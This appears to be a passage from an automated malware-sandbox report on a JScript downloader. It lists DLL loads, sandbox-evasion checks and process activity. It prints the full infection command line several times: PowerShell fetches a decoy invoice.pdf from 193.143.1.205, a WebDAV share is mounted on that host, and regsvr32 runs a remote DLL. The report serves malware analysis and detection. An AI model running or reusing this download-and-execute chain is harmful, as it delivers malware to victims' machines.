Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9575.js.csv");ITextStream.WriteLine(" entry:7480 f:dpufrgew");ITextStream.WriteLine(" exec:2 f:dpufrgew");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4751			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4815			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep count: 4751 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep count: 4815 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7444	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6652	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.1398471920.0000021F893BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\/
Source: net.exe, 00000007.00000002.1453174243.000001EFEAF40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1453544917.000001EFEAF99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: net.exe, 00000007.00000002.1453544917.000001EFEAF99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2703360917.000002231F85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2701946021.000002231A22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

